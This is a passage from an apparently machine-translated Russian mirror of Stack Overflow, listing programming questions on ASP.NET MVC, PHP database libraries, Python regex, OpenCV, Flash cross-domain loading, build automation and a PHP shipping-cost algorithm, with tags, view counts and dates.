Вот один тривиальный вопрос, с которым я не уверен, как справиться. Мне нужно отобразить список категорий на каждой странице и иметь возможность выбирать элементы из определенной категории для отображения. Я использую asp.net MVC и решил создать пользовательский элемент управления, который будет отображать категории. Мой вопрос: каков наилучший подход для передачи данных в пользовательский элемент управления. Я уже нашел некоторую информацию в этих сообщениях в блоге:

http://weblogs.asp.net/stephenwalther/archive/2008/08/12/asp-net-mvc-tip-31-passing-data-to-master-pages-and-user-controls.aspx

http://blog.matthidinger.com/2008/02/21/ASPNETMVCUserControlsStartToFinish.aspx

Я хотел бы также услышать Ваше мнение.

PS. Я хотел бы услышать мнение Джеффа, особенно из - за его опыта работы с UC на Stackoverflow

asp.net   asp.net-mvc   user-controls    

427   2   09:59, 28th August, 2020


mysqli или PDO - каковы плюсы и минусы?

В нашем случае мы разделены между использованием mysqli и PDO для таких вещей, как подготовленные заявления и поддержка транзакций. Некоторые проекты используют одно, некоторые другое. Существует очень мало реальной вероятности того, что мы когда-нибудь переедем в другой RDBMS.

Я предпочитаю PDO только по той причине, что он допускает именованные параметры для подготовленных операторов, а насколько мне известно, mysqli этого не делает.

Есть ли еще какие-то плюсы и минусы в выборе одного из них в качестве стандарта, когда мы объединяем наши проекты, чтобы использовать только один подход?

php   mysql   pdo   mysqli   database-abstraction    

882   13   04:14, 25th August, 2020


Графический ресурсы развития системы?

Может ли кто-нибудь порекомендовать какие-либо хорошие ресурсы для создания графических пользовательских интерфейсов, предпочтительно в C/C++?

В настоящее время мое самое большое влияние 3DBuzz.com с C++/OpenGL VTMs (видео учебных модулей). Хотя они очень хороши, они охватывают большую область графического программирования, поэтому только скользят по поверхности программирования GUI.

Этот вопрос относится к " как я могу сделать GUI? ", где есть также грубый набросок моей нынешней структуры.

Любой ответ будет оценен по достоинству.

Edit: я только что прочитал некоторые ответы и заметил, что я пропустил некоторые моменты. Мне пришлось ввести вопрос дважды, так как я поймал не ту кнопку и потерял ее.

Я пропустил два важных момента, во-первых: это будет использоваться кросс-платформенный в том числе homebrew на Sony PSP. Во-вторых: я хочу создать систему GUI, а не использовать существующую.

Edit 2: я думаю, что некоторые из вас упускают суть, я не знаю, что использовать существующую систему GUI, которую я хочу построить.

Qt в его текущей форме не переносится на PSP, не говоря уже о чрезмерности такой задачи.

Тем не менее, я решил создать IM-GUI и начал прототипировать код.

c++   user-interface   playstation-portable    

602   9   12:58, 29th August, 2020


Проверка Значений Перечисления

Мне нужно проверить целое число, чтобы узнать, является ли оно допустимым значением перечисления.

Как лучше всего это сделать в C#?

c#   validation   enums    

529   10   19:09, 26th August, 2020


Разница в скорости использования встроенных строк против конкатенации в php5?

(предположим, php5) рассмотрим

<?php

    $foo = 'some words';

    //case 1
    print "these are $foo";

    //case 2
    print "these are {$foo}";

    //case 3
    print 'these are ' . $foo;
?>

Есть ли большая разница между 1 и 2?

Если нет, то как насчет между 1/2 и 3?

php   optimization   performance    

381   0   11:32, 9th August, 2020


php Zend / MVC без mod_rewrite

Я видел, что это упоминается во многих блогах по сети, но я считаю, что это должно обсуждаться здесь. Что мы можем сделать, когда у нас есть фреймворк MVC (меня интересует ZEND) в PHP, но наш хост не предоставляет mod_rewrite? Есть ли какие-нибудь "short-cuts"? Можем ли мы каким-либо образом передать управление (чтобы между страницами могло возникнуть сопоставление)? Есть идеи? Спасибо :-)

php   model-view-controller   zend-framework    

433   5   11:13, 18th August, 2020


Python регулярных выражений для выполнения строки невыход

Я пытаюсь реализовать строку unescaping с Python regex и обратными ссылками, и это, кажется, не хочет работать очень хорошо. Я уверен, что это то, что я делаю неправильно, но я не могу понять, что именно...

>>> import re
>>> mystring = r"This is \n a test \r"
>>> p = re.compile( "\\\\(\\S)" )
>>> p.sub( "\\1", mystring )
'This is n a test r'
>>> p.sub( "\\\\\\1", mystring )
'This is \\n a test \\r'
>>> p.sub( "\\\\1", mystring )
'This is \\1 a test \\1'

Я хотел бы заменить \\[char] на \[char], но обратные ссылки в Python, похоже, не следуют тем же правилам, что и в любой другой реализации, которую я когда-либо использовал. Может кто-нибудь пролить свет?

python   regex   backreference    

481   5   08:28, 19th August, 2020


Можете ли вы объяснить closures (как они соотносятся с Python)?

Я много читал о closures и думаю, что понимаю их, но, не затуманивая картину для себя и других, я надеюсь, что кто-то сможет объяснить closures настолько кратко и ясно, насколько это возможно. Я ищу простое объяснение, которое могло бы помочь мне понять, где и почему я хотел бы их использовать.

python   functional-programming   closures    

487   10   07:21, 3rd August, 2020


Как сделать пользовательский установщик профиля клиента .net?

Для .net 3.5 SP1 у Microsoft есть новый профиль клиента, который устанавливает только подмножество .net 3.5 SP1 на машины пользователя Windows XP.

Я знаю, как сделать мой профиль клиента сборки готовым. И я читал статьи о том, как реализовать инсталлятор для ClickOnce или MSI .

Но я уже использовал программу установки Inno для своего проекта и хотел бы продолжать ее использовать (как экспресс-пользователь, я не могу легко сделать MSIs), мне нужно знать, как использовать установщик клиентского профиля в пользовательской среде.

Есть статья о схеме Deployment.xml, но нет указаний на то, как ее написать, упаковать или что-то еще. Может ли кто-нибудь объяснить этот процесс? Поиск статей, на которые я ссылался в одиночку, был болезненным опытом поиска.

deployment   .net-3.5   installer   installation   .net-client-profile    

514   3   02:30, 4th August, 2020


Как выполнить модульные тесты в разных папках/проектах отдельно в Visual Studio?

Visual Studio folder structure

Мне нужны некоторые советы относительно того, как я легко могу разделить тестовые запуски для модульных тестов и интеграционного теста в Visual Studio. Часто или всегда я структурирую решение так, как показано на рисунке выше: отдельные проекты для модульных тестов и интеграционных тестов. Модульные тесты выполняются очень часто, в то время как интеграционные тесты естественно выполняются, когда контекст правильно выровнен.

Моя цель-каким-то образом настроить, какие тесты (или тестовые папки) запускать при использовании сочетания клавиш. Предпочтительно, чтобы тесты выполнялись графическим бегуном тестов (ReSharpers). Так например

  • Alt+1 запускает тесты в project BLL.Test,
  • Alt+2 запускает тесты в project DAL.Tests,
  • Alt+3 запускает их оба (т. е. все тесты в папке [Tests], и
  • Alt+4 запускает тесты в папке [Tests.Integration].

TestDriven.net есть возможность запустить только тест в выбранной папке или проекте, щелкнув его правой кнопкой мыши и выбрав выполнить тест(Ы). Быть в состоянии сделать это, но с помощью команды клавиатуры и с графическим тестовым раннером было бы потрясающе.

TestDriven.net test run output

В настоящее время я использую VS2008, ReSharper 4 и nUnit. Но советы по настройке в целом, конечно, тоже ценятся.

visual-studio   unit-testing   configuration   vsx   extensibility    

441   4   14:47, 7th August, 2020


Python звук ("Bell")

Я бы хотел, чтобы программа python предупредила меня, когда она завершит свою задачу, издав звуковой сигнал. В настоящее время я использую import os , а затем использую речевую программу командной строки, чтобы сказать "Process complete." я бы предпочел, чтобы это было простое "bell."

Я знаю, что есть функция , которая может быть использована в Cocoa приложениях, NSBeep, но я не думаю, что это имеет какое-то отношение к этому.

Я тоже пробовал

print('\a')

но это не сработало.

Я использую Mac, Если вы не можете сказать по моему комментарию Cocoa , так что это может помочь.

python   macos   audio   terminal    

691   5   10:11, 17th August, 2020


Генетическое программирование в C#

Я искал несколько хороших примеров генетического программирования для C#. кто-нибудь знает о хороших ресурсах онлайн/книг? Интересно, существует ли библиотека C# для эволюционного/генетического программирования?

c#   genetic-algorithm   genetic-programming   evolutionary-algorithm    

918   13   02:53, 13th August, 2020


Как бы вы оценили программиста?

Несколько недель назад мне поручили оценить всех наших программистов. Мне очень неудобно с этим, так как я был тем, кто учил всех языку программирования магазина (все они вышли из колледжа, не зная языка, и, как назло, я очень хорошо владею им.). По оценке, я был очень предвзят к их производительности (отличные оценки).

Я рад, что наш магазин программирования не требует среднего уровня производительности, но я слышал ужасные истории о магазинах, которые действительно требуют среднего уровня.

Мой вопрос заключается в следующем:

  1. Как программист, какие вопросы оценки вы хотели бы видеть?
  2. Как менеджер, какие вопросы оценки вы хотели бы видеть?
  3. Как оценщик, как вы можете предотвратить предвзятость в своей оценке?
  4. Я хотел бы удалить оценочный тест. Есть ли какие-либо преимущества в проведении оценочного теста? Какой-нибудь недостаток?

evaluation    

350   4   18:45, 2nd August, 2020


Что происходит с| Pipe-разделителями / переменными в строках соединений?

Я знаю, что |DataDirectory / разрешится до App_Data в приложении ASP.NET, но это жестко задано или есть обобщенный механизм, работающий в соответствии с %environment variables% ?

.net   ado.net   syntax   macros   connection-string    

551   1   09:35, 22nd August, 2020


Flex: существует ли безболезненная программная привязка данных?

До сих пор я только немного занимался разработкой Flex, но я предпочитал подход создания элементов управления программно над файлами mxml, потому что (и , пожалуйста, поправьте меня, если я ошибаюсь!) Я понял, что вы не можете иметь его в обоих направлениях-то есть иметь функциональность класса в отдельном файле класса ActionScript, но иметь содержащиеся элементы, объявленные в mxml.

С точки зрения производительности разница невелика, но программная привязка данных кажется несколько менее тривиальной. Я посмотрел, как компилятор mxml преобразует выражения привязки данных. В результате получается куча сгенерированных обратных вызовов и гораздо больше строк, чем в представлении mxml. Итак, вот в чем вопрос: есть ли способ сделать привязку данных программно, которая не включает в себя мир боли?

flex   actionscript-3   data-binding   mxml    

435   4   08:53, 20th August, 2020


Есть ли модуль python для сопоставления regex в файлах zip

У меня есть более миллиона текстовых файлов, сжатых в 40 zip файлов. У меня также есть список из около 500 наименований моделей телефонов. Я хочу узнать, сколько раз конкретная модель была упомянута в текстовых файлах.

Есть ли какой-либо модуль python, который может выполнить сопоставление regex с файлами, не распаковывая его. Есть ли простой способ решить эту проблему без распаковки?

python   regex   zip   text-processing    

537   4   06:12, 16th August, 2020


Увеличение разрешения захвата камеры в OpenCV

В моей программе C/C++ я использую OpenCV для захвата изображений из моего webcam. Камера (Logitech QuickCam IM) может снимать в разрешениях 320x240 , 640x480 и 1280x960 . Но, по какой-то странной причине, OpenCV дает мне изображения только с разрешением 320x240 . Вызовы для изменения разрешения с помощью cvSetCaptureProperty() с другими значениями разрешения просто не работают. Как я могу снимать изображения с другими разрешениями, возможными с помощью my webcam?

c   image   opencv   webcam   resolutions    

772   15   20:58, 20th August, 2020


Каков наилучший способ обработки файлов для небольшого офиса?

В настоящее время я работаю в небольшой компании по разработке веб-сайтов, мы в основном делаем сайты кампаний и другие рекламные материалы. В течение нашего первого года мы использовали "server" для совместного использования файлов проекта, простую машину windows с общим сетевым ресурсом. Но это не совсем будущее доказательство.

SVN отлично подходит для кода (это то, что мы используем сейчас), но я хочу иметь комфорт управления версиями (или, по крайней мере, некоторую форму синхронизации) для всех или большинства наших файлов.

То, что я по существу хочу, - это то, что делает subversion для кода, но для наших файлов documents/psd/pdf.

Я понимаю, что subversion также обрабатывает двоичные файлы, но я чувствую, что это может быть немного излишним для наших целей. Ему не обязательно нужны все колокола и свистки полной системы управления версиями, но что-то, что устраняет необходимость в инкрементном именовании (Notes_1.23.doc) и уменьшает вероятность перезаписи чего-то по ошибке.

Он также должен быть мультиплатформенным, обрабатывать большие файлы (100 МБ+) и использоваться некоторыми нетехническими людьми.

version-control   versioning   file-management    

492   8   10:20, 24th August, 2020


Использование шрифтов GLUT bitmap

Я пишу простое приложение OpenGL , которое использует GLUT . Я не хочу свернуть свой собственный код рендеринга шрифтов, вместо этого я хочу использовать простые шрифты bitmap, которые поставляются с GLUT . Каковы шаги, чтобы заставить их работать?

opengl   fonts   bitmap   glut    

651   1   00:13, 16th August, 2020


RGB для монохромного преобразования

Как преобразовать значения RGB пикселя в одно монохромное значение?

colors   rgb   monochrome    

505   6   10:02, 4th August, 2020


Как вызвать Flex SWF из удаленного домена с помощью Flash (AS3)?

У меня есть Flex swf, размещенный в http://www.a.com/a.swf . У меня есть код flash на другом doamin, который пытается загрузить SWF:

_loader = new Loader();
var req:URLRequest = new URLRequest("http://services.nuconomy.com/n.swf");
_loader.contentLoaderInfo.addEventListener(Event.COMPLETE,onLoaderFinish);
_loader.load(req);

На событии onLoaderFinish я пытаюсь загрузить классы из удаленного SWF и создать их:

_loader.contentLoaderInfo.applicationDomain.getDefinition("someClassName") as Class

Когда этот код выполняется, я получаю следующее исключение

SecurityError: Error #2119: Security sandbox violation: caller http://localhost.service:1234/flashTest/Main.swf cannot access LoaderInfo.applicationDomain owned by http://www.b.com/b.swf.
    at flash.display::LoaderInfo/get applicationDomain()
    at NuconomyLoader/onLoaderFinish()

Есть ли способ заставить этот код работать?

flex   flash   actionscript-3   security    

528   3   01:46, 1st August, 2020


Управляемый хостинг системы управления версиями и непрерывная интеграция с CVSDude и CruiseControl.net

Для моего собственного проекта дома я использую довольно отличный управляемый хостинг subversion от CVSDude . Поскольку сейчас я работаю только над кодом, я не использую CruiseControl.net, однако я ожидаю, что это изменится в ближайшие пару месяцев и потребуется полный процесс сборки, чтобы начать при регистрации.

Кому-нибудь удалось заставить CruiseControl.net работать с CVSDude? У моего коллеги Майка есть этот пост в блоге , где кто-то из CVSDude сказал::

"Вы можете использовать наше средство обратного вызова после фиксации, чтобы вызвать URL на вашем сервер, который передает переменные, относящиеся к последней проверке (переменные подробно описано в нашей спецификации). В вашем скрипте CGI будут эти переменные и выполняйте любые необходимые задачи, например, обновление круиз-контроля и т. д."

Звучит очень мило. Но действительно ли кто-нибудь сделал это с cruisecontrol?

svn   version-control   build-process   cruisecontrol.net    

445   2   09:14, 11th August, 2020


Почему документация PyObjC так плоха?

Например, http://developer.apple.com/cocoa/pyobjc.html еще на ОС Х Тигр 10.4, 10.5 не Леопард.. И это официальная документация Apple для него..

Официальная страница PyObjC одинаково плоха, http://pyobjc.sourceforge.net/

Это так плохо, что сбивает с толку.. Я рассматриваю возможность изучения Ruby в первую очередь потому, что материал RubyCocoa намного лучше документирован, и есть много достойных учебников ( например, http://www.rubycocoa.com/ ), а также из-за набора инструментов Shoes GUI..

Даже этот японский учебник badly-auto-translated более полезен, чем rest документации, которую я мог бы найти..

Все, что я хочу сделать, это создать довольно простые приложения Python с Cocoa GUI..
Может ли кто - нибудь пролить свет на ужасную документацию или указать мне на некоторые учебники, которые не просто дают вам огромные блоки кода и предполагают, что вы знаете, что делает NSThread.detachNewThreadSelector_toTarget_withObject_("queryController", self, None) ..?

python   macos   cocoa   pyobjc    

476   9   21:52, 14th August, 2020


Настройка производительности 64bit .NET

Я знаю, что .NET -это JIT , скомпилированный в архитектуру, на которой вы работаете непосредственно перед запуском приложения, но оптимизирует ли компилятор JIT для 64-битной архитектуры вообще?

Есть ли что-то, что нужно сделать или рассмотреть при программировании приложения, которое будет работать на 64bit system ? (т. е. улучшит ли использование Int64 производительность и сможет ли компилятор JIT автоматически заставить Int64 работать на 32-битных системах?)

.net   performance   optimization   64-bit   jit    

531   5   09:34, 9th August, 2020


У кого-нибудь есть тесты компонентов .Net Excel IO?

Мне нужно получить доступ к книгам Excel из .Net. я знаю все о разных способах сделать это (я написал их в блоге ), и я знаю, что использование собственного компонента .Net будет самым быстрым. Но вопрос в том, какая из составляющих выигрывает? Кто-нибудь проводил сравнительный анализ? Я использую Syncfusion XlsIO, но это очень медленно для некоторых ключевых операций (например, удаление строк в книге, содержащей тысячи именованных диапазонов).

c#   excel   components    

461   3   00:19, 25th August, 2020


Пропорциональный шрифт IDE

Я бы очень хотел видеть пропорциональный шрифт IDE, даже если мне придется построить его самостоятельно (возможно, как расширение для Visual Studio). То, что я в основном имею в виду, - это редактирование кода в стиле MS Word, которое похоже на типографский стиль в книге языка программирования C++.

Я хочу установить табуляторы для моих отступов и выстроить подписи функций и строки операторов присваивания, которые могут быть указаны в точках вместо фиксированных позиций символов. Я также хотел бы жирным шрифтом и курсивом. Различные размеры шрифтов и даже таблицы стилей было бы здорово.

Кто-нибудь видел что-нибудь подобное там или знает лучший способ начать строить его?

ide   fonts   tabs   text-editor    

463   13   10:47, 20th August, 2020


Вы используете контроль версий, кроме как для исходного кода?

Я обнаружил, что SVN чрезвычайно полезен для документации, личных файлов, среди других применений без исходного кода. Какие еще практические применения вы нашли для систем управления версиями в целом?

svn   version-control   cvs    

428   14   04:25, 22nd August, 2020


Возможно ли автоматически производить выезды из любого VCS?

Давайте рассмотрим среду веб-разработки, в которой разработчики извлекают проект на свои локальные компьютеры, работают над ним и регистрируют изменения в процессе разработки.
Эти изменения далее тестируются на развитие и перемещаются в прямом эфире по регулярному графику (например, еженедельно, ежемесячно и т. д.).
Возможно ли иметь автоматическое перемещение последней помеченной версии (а не последней проверки, поскольку это не может быть стабильным 100%), например, 8 утра в понедельник утром, либо используя скрипт, либо встроенную функцию VCS?

svn   version-control   cvs   versions    

465   6   17:55, 22nd August, 2020


Может ли прокси-сервер кэшировать SSL GETs? Если нет, то будет ли достаточно шифрования тела ответа?

Может ли (||любой) прокси-сервер кэшировать содержимое, запрошенное клиентом через https? Поскольку прокси-сервер не может видеть строку запроса или заголовки http, я думаю, что они не могут.

Я рассматриваю настольное приложение, управляемое рядом людей, стоящих за своими компаниями прокси. Это приложение может получить доступ к услугам через интернет, и я хотел бы воспользоваться встроенной инфраструктурой кэширования интернета для 'reads'. Если кэширующие прокси-серверы не могут кэшировать доставленное содержимое SSL, будет ли просто шифрование содержимого ответа жизнеспособным вариантом?

Я рассматриваю все запросы GET, которые мы хотим получить, будут запрошены через http с телом, зашифрованным с помощью асимметричного шифрования, где у каждого клиента есть ключ расшифровки. Всякий раз, когда мы хотим выполнить операцию GET, которая не является cachable, или операцию POST, она будет выполнена над SSL.

security   encryption   caching   ssl   proxy    

613   6   22:56, 4th August, 2020


UrlEncode через консольное приложение?

Обычно я бы просто использовал:

HttpContext.Current.Server.UrlEncode("url");

Но так как это консольное приложение, то HttpContext.Current всегда будет null .

Есть ли другой метод, который делает то же самое, что я мог бы использовать?

c#   .net   console    

409   12   21:29, 16th August, 2020


Как лучше всего использовать версию файла и версию Assembly?

В .NET есть два номера версий, доступных при построении проекта, версия файла и версия Assembly. Как вы используете эти цифры? Оставить их прежними? Автоматическое увеличение одного, но ручное изменение другого?

А как насчет атрибута AssemblyInformationalVersion ?

Я нашел эту статью в базе знаний Майкрософт поддержки (KB), которая предоставляла некоторую помощь: как использовать версию Assembly и версию файла Assembly .

.net   attributes   versions    

450   8   10:39, 20th August, 2020


Готов ли Ruby на Rails для предприятия?

Есть ли кто-нибудь, кто использует RoR для крупномасштабных, критически важных для бизнеса корпоративных приложений?

Существуют ли другие облегченные веб-фреймворки, основанные на динамических языках, которые люди используют для этих типов приложений?

Если вы не используете эти типы фреймворков приложений, что вас останавливает? Это просто инерция, связанная с любой крупной организацией IT. Являются ли проблемы скорости и стабильности этих структур достаточной проблемой, чтобы они компенсировали улучшение времени цикла разработки?

ruby-on-rails   ruby   enterprise    

576   20   03:59, 1st August, 2020


Как начать работу с speech-to-text?

Я действительно заинтересован в алгоритмах speech-to-text, но я не уверен, с чего начать изучать их. Куча поисков вокруг привела меня к этому, но это с 1996 года, и я довольно уверен, что с тех пор произошли улучшения.

Есть ли у кого-нибудь, кто имеет опыт работы с такого рода вещами, какие-либо рекомендации по чтению / исходному коду для изучения? Или просто общие советы о том, что я должен пытаться узнать, если я хочу попасть в мир написания программ распознавания речи (иногда трудно понять, что искать, если у вас нет больших знаний о домене).

Edit: я хотел бы сделать что-то кросс-платформенное, но на данный момент я бы нацелился на linux.

Правка 2: Спасибо csmba за хорошо продуманный ответ. На данный момент меня в основном интересует возможность создавать приложения, которые позволяют автоматизировать или выполнять различные команды с помощью голоса. Таким образом, ограниченное количество узнаваемых команд может быть нанизано вместе. Примером может служить музыкальный плеер, который принимает команды типа "Play the album Hello Everything by Squarepusher", или программа запуска приложений, которая позволяет пользователю создавать голосовые ярлыки для запуска определенных приложений.

Я понимаю, что это довольно гигантская проблема, и что у меня нет даже близко того уровня знаний, который требуется прямо сейчас для реализации всего механизма распознавания, хотя методы, связанные с этим, очаровывают меня, и это то, что я хотел бы сделать сам. По всей вероятности, я, вероятно, закончу тем, что возьму книгу или две по этому вопросу и изучу / поиграю с реализациями "simple" в свободное время.

language-agnostic   speech-recognition    

437   6   00:02, 20th August, 2020


Mixed C++ / CLI TypeLoadException внутреннее ограничение: слишком много полей

Стремясь перенести некоторые новые UI в Managed/C# земли, я недавно включил поддержку Common Language Runtime Support (/clr) в большом устаревшем проекте, который использует MFC в общем DLL и опирается на около десятка других проектов в рамках нашего общего решения. Этот проект является ядром нашего приложения и будет управлять любым управляемым кодом UI, который создается (следовательно, необходимо включить поддержку clr для interop).

После исправления тонны мелких мелких ошибок и предупреждений мне наконец удалось заставить приложение компилироваться.. Однако запуск приложения вызывает EETypeLoadException и оставляет меня неспособным выполнить отладку...

Немного покопавшись, я обнаружил, что причина была "System.TypeLoadException: внутреннее ограничение: слишком много полей.- что происходит прямо в конце компиляции. Затем я нашел эту ссылку , которая предлагает разбить assembly на две или более библиотек DLL. Однако в моем случае это невозможно, поскольку ограничение, которое я имею, заключается в том, что унаследованный код в основном остается нетронутым.

Может ли кто-нибудь предложить другие возможные решения? Я действительно в тупике здесь.

compiler-construction   c++-cli   clr    

636   3   01:22, 20th August, 2020


Найдите наилучшую комбинацию из заданного множества множеств

Скажем, у вас есть груз. Он должен пройти от точки А до точки Б, от точки Б до точки C и, наконец, от точки C до точки D. вам нужно добраться туда за пять дней за наименьшую сумму денег. Есть три возможных грузоотправителя для каждой ноги, каждый со своим собственным различным временем и стоимостью для каждой ноги:

Array
(
    [leg0] => Array
        (
            [UPS] => Array
                (
                    [days] => 1
                    [cost] => 5000
                )

            [FedEx] => Array
                (
                    [days] => 2
                    [cost] => 3000
                )

            [Conway] => Array
                (
                    [days] => 5
                    [cost] => 1000
                )

        )

    [leg1] => Array
        (
            [UPS] => Array
                (
                    [days] => 1
                    [cost] => 3000
                )

            [FedEx] => Array
                (
                    [days] => 2
                    [cost] => 3000
                )

            [Conway] => Array
                (
                    [days] => 3
                    [cost] => 1000
                )

        )

    [leg2] => Array
        (
            [UPS] => Array
                (
                    [days] => 1
                    [cost] => 4000
                )

            [FedEx] => Array
                (
                    [days] => 1
                    [cost] => 3000
                )

            [Conway] => Array
                (
                    [days] => 2
                    [cost] => 5000
                )

        )

)

Как вы собираетесь найти лучшую комбинацию программно?

Моя лучшая попытка до сих пор (третий или четвертый алгоритм) :

  1. Найдите самый длинный грузоотправитель для каждой ноги
  2. Устранить большинство "expensive" один
  3. Найти самый дешевый грузоотправитель для каждой ноги
  4. Рассчитайте общую стоимость & дней
  5. Если дни приемлемы, закончите, иначе, Гото 1

Быстро высмеивается в PHP (обратите внимание, что тестовый массив ниже работает плавно, но если вы попробуете его с тестовым массивом сверху, он не найдет правильную комбинацию):

$shippers["leg1"] = array(
    "UPS"    => array("days" => 1, "cost" => 4000),
    "Conway" => array("days" => 3, "cost" => 3200),
    "FedEx"  => array("days" => 8, "cost" => 1000)
);

$shippers["leg2"] = array(
    "UPS"    => array("days" => 1, "cost" => 3500),
    "Conway" => array("days" => 2, "cost" => 2800),
    "FedEx"  => array("days" => 4, "cost" => 900)
);

$shippers["leg3"] = array(
    "UPS"    => array("days" => 1, "cost" => 3500),
    "Conway" => array("days" => 2, "cost" => 2800),
    "FedEx"  => array("days" => 4, "cost" => 900)
);    

$times = 0;
$totalDays = 9999999;

print "<h1>Shippers to Choose From:</h1><pre>";
print_r($shippers);
print "</pre><br />";

while($totalDays > $maxDays && $times < 500){
            $totalDays = 0;
            $times++;
            $worstShipper = null;
            $longestShippers = null;
            $cheapestShippers = null;

            foreach($shippers as $legName => $leg){
                //find longest shipment for each leg (in terms of days)
                unset($longestShippers[$legName]);
                $longestDays = null;        

                if(count($leg) > 1){
                    foreach($leg as $shipperName => $shipper){
                        if(empty($longestDays) || $shipper["days"] > $longestDays){
                            $longestShippers[$legName]["days"] = $shipper["days"];
                            $longestShippers[$legName]["cost"] = $shipper["cost"];
                            $longestShippers[$legName]["name"] = $shipperName;
                            $longestDays = $shipper["days"];
                        }
                    }           
                }
            }

            foreach($longestShippers as $leg => $shipper){
                $shipper["totalCost"] = $shipper["days"] * $shipper["cost"];

                //print $shipper["totalCost"] . " &lt;?&gt; " . $worstShipper["totalCost"] . ";";

                if(empty($worstShipper) || $shipper["totalCost"] > $worstShipper["totalCost"]){
                    $worstShipper = $shipper;
                    $worstShipperLeg = $leg;
                }
            }

            //print "worst shipper is: shippers[$worstShipperLeg][{$worstShipper['name']}]" . $shippers[$worstShipperLeg][$worstShipper["name"]]["days"];
            unset($shippers[$worstShipperLeg][$worstShipper["name"]]);

            print "<h1>Next:</h1><pre>";
            print_r($shippers);
            print "</pre><br />";

            foreach($shippers as $legName => $leg){
                //find cheapest shipment for each leg (in terms of cost)
                unset($cheapestShippers[$legName]);
                $lowestCost = null;

                foreach($leg as $shipperName => $shipper){
                    if(empty($lowestCost) || $shipper["cost"] < $lowestCost){
                        $cheapestShippers[$legName]["days"] = $shipper["days"];
                        $cheapestShippers[$legName]["cost"] = $shipper["cost"];
                        $cheapestShippers[$legName]["name"] = $shipperName;
                        $lowestCost = $shipper["cost"];
                    }
                }

                //recalculate days and see if we are under max days...
                $totalDays += $cheapestShippers[$legName]['days'];  
            }
            //print "<h2>totalDays: $totalDays</h2>";
        }

        print "<h1>Chosen Shippers:</h1><pre>";
        print_r($cheapestShippers);
        print "</pre>";

Я думаю, что мне, возможно, придется на самом деле сделать что-то вроде того, где я буквально делаю каждую комбинацию по одному (с серией петель) и складываю общее "score" каждого и нахожу лучший....

EDIT: Чтобы уточнить, это не задание "homework" (я не в школе). Это часть моего текущего проекта на работе.

Требования (как всегда) постоянно менялись. Если бы мне дали текущие ограничения в то время, когда я начал работать над этой проблемой, я бы использовал какой-то вариант алгоритма A* (или Dijkstra'S, или shortest path, или simplex, или что-то еще). Но все менялось и менялось, и это привело меня туда, где я сейчас нахожусь.

Поэтому я думаю, что это означает, что мне нужно забыть обо всем дерьме, которое я сделал до этого момента, и просто пойти с тем, что я знаю, что должен идти, что является алгоритмом поиска пути.

php   algorithm   puzzle   combinations   np-complete    

549   7   03:07, 6th August, 2020


Улучшение Процесса Сборки

Или, на самом деле, создание процесса сборки, когда его не так много, чтобы начать с него.

В настоящее время это в значительной степени та ситуация, с которой сталкивается моя группа. Мы занимаемся главным образом разработкой веб-приложений (но в настоящее время нет разработки настольных компьютеров). Развертывание программного обеспечения уродливо и громоздко даже с нашими скромными приложениями, и у нас было слишком много проблем, возникших за два года, когда я был частью этой команды (и компании). Пришло время что-то сделать с этим, и в результате мы сможем убить двух испытательных птиц Джоэла одним камнем (ежедневные сборки и одношаговые сборки, ни одна из которых не существует в какой-либо форме).

То, что мне нужно здесь, - это общее представление о том, какие вещи мне нужно делать или думать, от людей, которые занимаются разработкой программного обеспечения дольше, чем я, а также имеют большие мозги. Я уверен, что это будет большинство людей, которые в настоящее время публикуют в бета-версии.

соответствующие инструменты: Визуальная Сборка Source Safe 6.0 (я знаю, но я ничего не могу поделать с тем, используем ли мы Source Safe в настоящее время. Возможно, это будет моя следующая битва.)

Предварительно, у меня есть визуальный проект сборки, который делает это:

  1. Получить исходный код и разместить в локальном каталоге, включая необходимые DLLs, необходимые для проекта.
  2. Получите конфигурационные файлы и переименуйте их по мере необходимости (мы храним их в специальном подкаталоге, который не является частью фактического приложения, и они называются в соответствии с использованием).
  3. Сборка с помощью Visual Studio
  4. Предварительная компиляция с помощью командной строки, копирование в то, что будет каталогом "build"
  5. Копировать в пункт назначения.
  6. Получите все необходимые дополнительные ресурсы-в основном документы, изображения и отчеты, связанные с проектом (и помещенные в каталог с шага 5). Там много всего этого, и я не хотел включать это раньше. Однако я собираюсь только скопировать измененные элементы, так что, возможно, это не имеет значения. Я не был уверен, действительно ли я хотел включить этот материал в более ранние шаги.

Мне все еще нужно добиться некоторого выхода из Visual Build для всего этого, но я еще не достиг того момента, когда мне это нужно сделать.

У кого-нибудь есть какие-нибудь советы или предложения? Я замечу, что в настоящее время мы не используем проект Deployment. Я предполагаю, что это удалит некоторые шаги, необходимые в этой сборке (например, web.config swapping).

build-process   build-automation   build    

492   8   06:20, 6th August, 2020


PDF генерация из XHTML в среде LAMP

Может ли кто-нибудь порекомендовать хороший инструмент генерации PDF на стороне сервера, который будет работать в среде Linux. Я хочу легко, насколько это возможно, передать ему файл XHTML (с изображениями) и заставить его генерировать PDF из визуализированного источника.

У меня нет большого бюджета, но все, что ниже $1000, должно быть в порядке.

Эндрю

linux   pdf   pdf-generation    

459   8   13:26, 15th August, 2020


Инструменты, которые помогут маленькому магазину набрать больше баллов на "тесте Джоэла"

Вопросы #1 - #4 по тесту Джоэла , на мой взгляд, касаются всех используемых инструментов разработки и системы поддержки для разработчиков:

  1. Вы используете систему управления версиями?
  2. Можете ли вы сделать сборку в один шаг?
  3. Вы делаете ежедневные сборки?
  4. У вас есть база данных об ошибках?

Мне просто интересно, какие бесплатные / дешевые (но хорошие) инструменты существуют для небольших магазинов разработки, которые не имеют больших банковских счетов, чтобы использовать их для получения положительного ответа на эти вопросы.

Для управления версиями я знаю, что Subversion-отличное решение ,и если вы один человек, вы можете даже использовать хранилище SourceGear.

Я использую NAnt для своих более крупных проектов, но еще не настроил скрипт для сборки моих инсталляторов, а также запуска инструментов обфузирования в одном шаге. Есть еще какие-нибудь предложения?

Если вы можете ответить " да " на построение в один шаг, я думаю, что создание ежедневных сборок будет легко, но какие инструменты вы порекомендуете для автоматизации этих ежедневных сборок?

Для одной или двух человек команды уже обсуждалось на SO, что вы можете использовать FogBugz по требованию, но какие еще решения для отслеживания ошибок существуют для небольших команд?

version-control   bug-tracking   dailybuilds    

539   14   10:49, 13th August, 2020


Есть ли у вас рекомендуемые macros для Microsoft Visual Studio?

Каковы некоторые macros, которые вы нашли полезными в Visual Studio для обработки кода и автоматизации?

visual-studio   automation   macros    

432   1   13:20, 5th August, 2020


Как сделать замену строки в функции PowerShell?

Как преобразовать входные параметры функции в правильный тип?

Я хочу вернуть строку, которая имеет часть URL, переданную в нее, удаленную.

Это работает, но он использует жестко закодированную строку:

function CleanUrl($input)
{
